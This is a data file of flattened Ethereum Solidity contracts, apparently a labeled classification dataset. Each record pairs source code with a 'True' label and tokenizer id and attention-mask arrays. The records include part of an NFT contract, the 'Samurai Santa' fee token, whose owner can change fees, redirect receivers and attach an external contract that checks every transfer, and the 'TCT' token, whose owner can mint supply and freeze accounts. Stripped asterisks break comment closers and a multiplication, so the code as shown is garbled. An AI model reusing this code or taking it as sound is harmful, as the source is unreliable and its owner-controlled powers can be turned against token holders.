Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } pragma solidity ^0.8.7; contract NicoDufreneAntiBTCNFT is ERC721URIStorage { constructor() ERC721("NicoDufreneAntiBTC", "NDAB") { _mint(msg.sender, 0); _setTokenURI(0, "ipfs://QmWnQy5CCh6Hhhw6VN7HdNomJ9Z9UDNB8taJECxfbozt4r"); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2260, 1011, 2184, 1008, 1013, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1014, 1006, 21183, 12146, 1013, 7817, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5164, 3136, 1012, 1008, 1013, 3075, 7817, 1063, 27507, 16048, 2797, 5377, 1035, 2002, 2595, 1035, 9255, 1027, 1000, 5890, 21926, 19961, 2575, 2581, 2620, 2683, 7875, 19797, 12879, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 19884, 1037, 1036, 21318, 3372, 17788, 2575, 1036, 2000, 2049, 2004, 6895, 2072, 1036, 5164, 1036, 26066, 6630, 1012, 1008, 1013, 3853, 2000, 3367, 4892, 1006, 21318, 3372, 17788, 2575, 3643, 1007, 4722, 5760, 5651, 1006, 5164, 3638, 1007, 1063, 1013, 1013, 4427, 2011, 2030, 6305, 3669, 4371, 9331, 2072, 1005, 1055, 7375, 1011, 10210, 11172, 1013, 1013, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2030, 6305, 3669, 4371, 1013, 28855, 14820, 1011, 17928, 1013, 1038, 4135, 2497, 1013, 1038, 20958, 16932, 2575, 2497, 2692, 2575, 2509, 2278, 2581, 2094, 2575, 4402, 17134, 27814, 2620, 21472, 2278, 16147, 2620, 18827, 2575, 21926, 2683, 2063, 2683, 21619, 2692, 2063, 2620, 1013, 2030, 6305, 3669, 4371, 9331, 2072, 1035, 1014, 1012, 1018, 1012, 2423, 1012, 14017, 2065, 1006, 3643, 1027, 1027, 1014, 1007, 1063, 2709, 1000, 1014, 1000, 1025, 1065, 21318, 3372, 17788, 2575, 8915, 8737, 1027, 3643, 1025, 21318, 3372, 17788, 2575, 16648, 1025, 2096, 1006, 8915, 8737, 999, 1027, 1014, 1007, 1063, 16648, 1009, 1009, 1025, 8915, 8737, 1013, 1027, 2184, 1025, 1065, 27507, 3638, 17698, 1027, 2047, 27507, 1006, 16648, 1007, 1025, 2096, 1006, 3643, 999, 1027, 1014, 1007, 1063, 16648, 1011, 1027, 1015, 1025, 17698, 1031, 16648, 1033, 1027, 27507, 2487, 1006, 21318, 3372, 2620, 1006, 4466, 1009, 21318, 3372, 17788, 2575, 1006, 3643, 1003, 2184, 1007, 1007, 1007, 1025, 3643, 1013, 1027, 2184, 1025, 1065, 2709, 5164, 1006, 17698, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 19884, 1037, 1036, 21318, 3372, 17788, 2575, 1036, 2000, 2049, 2004, 6895, 2072, 1036, 5164, 1036, 2002, 18684, 3207, 6895, 9067, 6630, 1012, 1008, 1013, 3853, 2000, 5369, 2595, 3367, 4892, 1006, 21318, 3372, 17788, 2575, 3643, 1007, 4722, 5760, 5651, 1006, 5164, 3638, 1007, 1063, 2065, 1006, 3643, 1027, 1027, 1014, 1007, 1063, 2709, 1000, 1014, 2595, 8889, 1000, 1025, 1065, 21318, 3372, 17788, 2575, 8915, 8737, 1027, 3643, 1025, 21318, 3372, 17788, 2575, 3091, 1027, 1014, 1025, 2096, 1006, 8915, 8737, 999, 1027, 1014, 1007, 1063, 3091, 1009, 1009, 1025, 8915, 8737, 1028, 1028, 1027, 1022, 1025, 1065, 2709, 2000, 5369, 2595, 3367, 4892, 1006, 3643, 1010, 3091, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 19884, 1037, 1036, 21318, 3372, 17788, 2575, 1036, 2000, 2049, 2004, 6895, 2072, 1036, 5164, 1036, 2002, 18684, 3207, 6895, 9067, 6630, 2007, 4964, 3091, 1012, 1008, 1013, 3853, 2000, 5369, 2595, 3367, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-12-23 / /* サムライサンタ / // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * C U ON THE MOON * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view returns (address payable) { return payable(msg.sender); } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IAntiSnipe { function setTokenOwner(address owner) external; function onPreTransferCheck( address from, address to, uint256 amount ) external returns (bool checked); } contract SamuraiSanta is IERC20, Ownable { using Address for address; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; string constant _name = "Samurai Santa"; string constant _symbol = "SANTA"; uint8 constant _decimals = 9; uint256 _totalSupply = 10_000_000_000 (10 ** _decimals); uint256 public _maxTxAmount = (_totalSupply * 1) / 200; uint256 public _maxWalletSize = (_totalSupply * 2) / 100; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => uint256) lastBuy; mapping (address => bool) isFeeExempt; mapping (address => bool) isTxLimitExempt; uint256 liquidityFee = 20; uint256 reflectionFee = 20; uint256 marketingFee = 40; uint256 devFee = 20; uint256 totalFee = 100; uint256 sellBias = 40; uint256 sellPercent = 250; uint256 sellPeriod = 24 hours; uint256 feeDenominator = 1000; address public autoLiquidityReceiver; address payable public marketingFeeReceiver; address payable public devFeeReceiver; uint256 targetLiquidity = 20; uint256 targetLiquidityDenominator = 100; IDEXRouter public router; address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; mapping (address => bool) liquidityPools; mapping (address => bool) liquidityProviders; address public pair; uint256 public launchedAt; uint256 public launchedTime; IAntiSnipe public antisnipe; bool public protectionEnabled = true; bool public protectionDisabled = false; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply / 400; uint256 public swapMinimum = _totalSupply / 10000; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor () { router = IDEXRouter(routerAddress); pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this)); liquidityPools[pair] = true; _allowances[owner()][routerAddress] = type(uint256).max; _allowances[address(this)][routerAddress] = type(uint256).max; isFeeExempt[owner()] = true; liquidityProviders[msg.sender] = true; isTxLimitExempt[address(this)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[routerAddress] = true; autoLiquidityReceiver = 0xa6fEF015e00659dFE4eC90bc3443Ab713F4227B5; marketingFeeReceiver = payable(0x5B3b180fDb3c0b107834757Cc762A1cA8b053092); devFeeReceiver = payable(0x1eAe3aF8D4d361Db86Cb4DB3281DcC284DEdd110); _balances[owner()] = _totalSupply; emit Transfer(address(0), owner(), _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure returns (uint8) { return _decimals; } function symbol() external pure returns (string memory) { return _symbol; } function name() external pure returns (string memory) { return _name; } function getOwner() external view returns (address) { return owner(); } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function setProtection(bool _protect) external onlyOwner { if (_protect) require(!protectionDisabled); protectionEnabled = _protect; } function setProtection(address _protection, bool _call) external onlyOwner { if (_protection != address(antisnipe)){ require(!protectionDisabled); antisnipe = IAntiSnipe(_protection); } if (_call) antisnipe.setTokenOwner(msg.sender); } function disableProtection() external onlyOwner { protectionDisabled = true; } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(_balances[sender] >= amount, "Insufficient balance"); require(amount > 0, "Zero amount transferred"); if(inSwap){ return _basicTransfer(sender, recipient, amount); } checkTxLimit(sender, amount); if (!liquidityPools[recipient] && recipient != DEAD) { if (!isTxLimitExempt[recipient]) checkWalletLimit(recipient, amount); } if(!launched()){ require(liquidityProviders[sender] \|\| liquidityProviders[recipient], "Contract not launched yet."); } _balances[sender] -= amount; uint256 amountReceived = shouldTakeFee(sender) && shouldTakeFee(recipient) ? takeFee(sender, recipient, amount) : amount; if(shouldSwapBack(recipient)){ if (amount > 0) swapBack(amount); } _balances[recipient] += amountReceived; if(launched() && protectionEnabled) antisnipe.onPreTransferCheck(sender, recipient, amount); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } function checkWalletLimit(address recipient, uint256 amount) internal view { uint256 walletLimit = _maxWalletSize; require(_balances[recipient] + amount <= walletLimit, "Transfer amount exceeds the bag size."); } function checkTxLimit(address sender, uint256 amount) internal view { require(amount <= _maxTxAmount \|\| isTxLimitExempt[sender], "TX Limit Exceeded"); } function shouldTakeFee(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } function setLiquidityProvider(address _provider) external onlyOwner { isFeeExempt[_provider] = true; liquidityProviders[_provider] = true; isTxLimitExempt[_provider] = true; } function getTotalFee(bool selling, bool inHighPeriod) public view returns (uint256) { if(launchedAt + 1 >= block.number){ return feeDenominator - 1; } if (selling) return inHighPeriod ? (totalFee * sellPercent) / 100 : totalFee + sellBias; return inHighPeriod ? (totalFee * sellPercent) / 100 : totalFee - sellBias; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = (amount * getTotalFee(liquidityPools[recipient], !liquidityPools[sender] && lastBuy[sender] + sellPeriod > block.timestamp)) / feeDenominator; if (liquidityPools[sender] && lastBuy[recipient] == 0) lastBuy[recipient] = block.timestamp; _balances[address(this)] += feeAmount; emit Transfer(sender, address(this), feeAmount); return amount - feeAmount; } function shouldSwapBack(address recipient) internal view returns (bool) { return !liquidityPools[msg.sender] && !isFeeExempt[msg.sender] && !inSwap && swapEnabled && liquidityPools[recipient] && _balances[address(this)] >= swapMinimum && totalFee > 0; } function swapBack(uint256 amount) internal swapping { uint256 amountToSwap = amount < swapThreshold ? amount : swapThreshold; if (_balances[address(this)] < amountToSwap) amountToSwap = _balances[address(this)]; uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee; uint256 amountToLiquify = ((amountToSwap * dynamicLiquidityFee) / totalFee) / 2; amountToSwap -= amountToLiquify; address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 balanceAfter = address(this).balance - balanceBefore; uint256 totalETHFee = totalFee - dynamicLiquidityFee / 2; uint256 amountLiquidity = (balanceAfter * dynamicLiquidityFee) / totalETHFee / 2; //uint256 amountReflection = (balanceAfter * reflectionFee) / totalETHFee; uint256 amountMarketing = (balanceAfter * marketingFee) / totalETHFee; uint256 amountDev = (balanceAfter * devFee) / totalETHFee; if(amountToLiquify > 0) { router.addLiquidityETH{value: amountLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); emit AutoLiquify(amountLiquidity, amountToLiquify); } if (amountMarketing > 0) marketingFeeReceiver.transfer(amountMarketing); if (amountDev > 0) devFeeReceiver.transfer(amountDev); } function buyBack(uint256 _percent, bool _burn) external onlyOwner { uint256 purchase = (address(this).balance * _percent) / 100; address deliverTo = _burn ? DEAD : msg.sender; address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = address(this); router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: purchase}( 0, path, deliverTo, block.timestamp + 300 ); } function setSellPeriod(uint256 _sellPercentIncrease, uint256 _period) external onlyOwner { require((totalFee * _sellPercentIncrease) / 100 <= 400, "Sell tax too high"); require(_period <= 7 days, "Sell period too long"); sellPercent = _sellPercentIncrease; sellPeriod = _period; } function launched() internal view returns (bool) { return launchedAt != 0; } function launch() external onlyOwner { require (launchedAt == 0); launchedAt = block.number; launchedTime = block.timestamp; } function setTxLimit(uint256 numerator, uint256 divisor) external onlyOwner { require(numerator > 0 && divisor > 0 && (numerator * 1000) / divisor >= 5); _maxTxAmount = (_totalSupply * numerator) / divisor; } function setMaxWallet(uint256 numerator, uint256 divisor) external onlyOwner() { require(divisor > 0 && divisor <= 10000); _maxWalletSize = (_totalSupply * numerator) / divisor; } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { isFeeExempt[holder] = exempt; } function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner { isTxLimitExempt[holder] = exempt; } function setFees(uint256 _liquidityFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _devFee, uint256 _sellBias, uint256 _feeDenominator) external onlyOwner { liquidityFee = _liquidityFee; reflectionFee = _reflectionFee; marketingFee = _marketingFee; devFee = _devFee; sellBias = _sellBias; totalFee = _liquidityFee + _reflectionFee + _marketingFee + _devFee; feeDenominator = _feeDenominator; require(totalFee <= feeDenominator / 4); require(sellBias <= totalFee); } function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external onlyOwner { if (autoLiquidityReceiver != DEAD) autoLiquidityReceiver = _autoLiquidityReceiver; marketingFeeReceiver = payable(_marketingFeeReceiver); } function setDevReceiver(address _dev) external onlyOwner { devFeeReceiver = payable(_dev); } function setSwapBackSettings(bool _enabled, uint256 _denominator, uint256 _denominatorMin) external onlyOwner { require(_denominator > 0 && _denominatorMin > 0); swapEnabled = _enabled; swapMinimum = _totalSupply / _denominatorMin; swapThreshold = _totalSupply / _denominator; } function setTargetLiquidity(uint256 _target, uint256 _denominator) external onlyOwner { targetLiquidity = _target; targetLiquidityDenominator = _denominator; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply - (balanceOf(DEAD) + balanceOf(ZERO)); } function getLiquidityBacking(uint256 accuracy) public view returns (uint256) { return (accuracy * balanceOf(pair)) / getCirculatingSupply(); } function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) { return getLiquidityBacking(accuracy) > target; } function addLiquidityPool(address _pool, bool _enabled) external onlyOwner { liquidityPools[_pool] = _enabled; } function airdrop(address[] calldata _addresses, uint256[] calldata _amount) external onlyOwner { require(_addresses.length == _amount.length); bool previousSwap = swapEnabled; swapEnabled = false; for (uint256 i = 0; i < _addresses.length; i++) { require(!liquidityPools[_addresses[i]]); _transferFrom(msg.sender, _addresses[i], _amount[i] * (10 ** _decimals)); } swapEnabled = previousSwap; } event AutoLiquify(uint256 amount, uint256 amountToken); //C U ON THE MOON }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2260, 1011, 2603, 1008, 1013, 1013, 1008, 1705, 30251, 30257, 30221, 30231, 30263, 30235, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2184, 1025, 3075, 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pragma solidity ^0.4.24; contract owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract Stopped is owned { bool public stopped = true; modifier noStopped { assert(!stopped); _; } function start() onlyOwner public { stopped = false; } function stop() onlyOwner public { stopped = true; } } contract MathTCT { function add(uint256 x, uint256 y) constant internal returns(uint256 z) { assert((z = x + y) >= x); } function sub(uint256 x, uint256 y) constant internal returns(uint256 z) { assert((z = x - y) <= x); } } contract TokenERC20 { function totalSupply() constant public returns (uint256 supply); function balanceOf(address who) constant public returns (uint256 value); function allowance(address owner, address spender) constant public returns (uint256 _allowance); function transfer(address to, uint value) public returns (bool ok); function transferFrom( address from, address to, uint value) public returns (bool ok); function approve( address spender, uint value) public returns (bool ok); event Transfer( address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); } contract TCT is owned, Stopped, MathTCT, TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); event Burn(address from, uint256 value); constructor(string _name, string _symbol) public { totalSupply = 200000000 * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = _name; symbol = _symbol; } function totalSupply() constant public returns (uint256) { return totalSupply; } function balanceOf(address who) constant public returns (uint) { return balanceOf[who]; } function allowance(address owner, address spender) constant public returns (uint256) { return allowance[owner][spender]; } function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] = sub(balanceOf[_from], _value); balanceOf[_to] = add(balanceOf[_to], _value); emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) noStopped public returns(bool) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) noStopped public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) noStopped public returns (bool success) { require(!frozenAccount[msg.sender]); require(!frozenAccount[_spender]); allowance[msg.sender][_spender] = _value; return true; } function mintToken(address target, uint256 mintedAmount) noStopped onlyOwner public { balanceOf[target] = add(balanceOf[target], mintedAmount); totalSupply = add(totalSupply, mintedAmount); emit Transfer(0, target, mintedAmount); } function freezeAccount(address target, bool freeze) noStopped onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function burn(uint256 _value) noStopped public returns (bool success) { require(!frozenAccount[msg.sender]); require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = sub(balanceOf[msg.sender], _value); totalSupply = sub(totalSupply, _value); emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) noStopped public returns (bool success) { require(!frozenAccount[msg.sender]); require(!frozenAccount[_from]); require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] = sub(balanceOf[_from], _value); allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value); totalSupply = sub(totalSupply, _value); emit Burn(_from, _value); return true; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 3206, 3079, 1063, 4769, 2270, 3954, 1025, 9570, 2953, 1006, 1007, 2270, 1063, 3954, 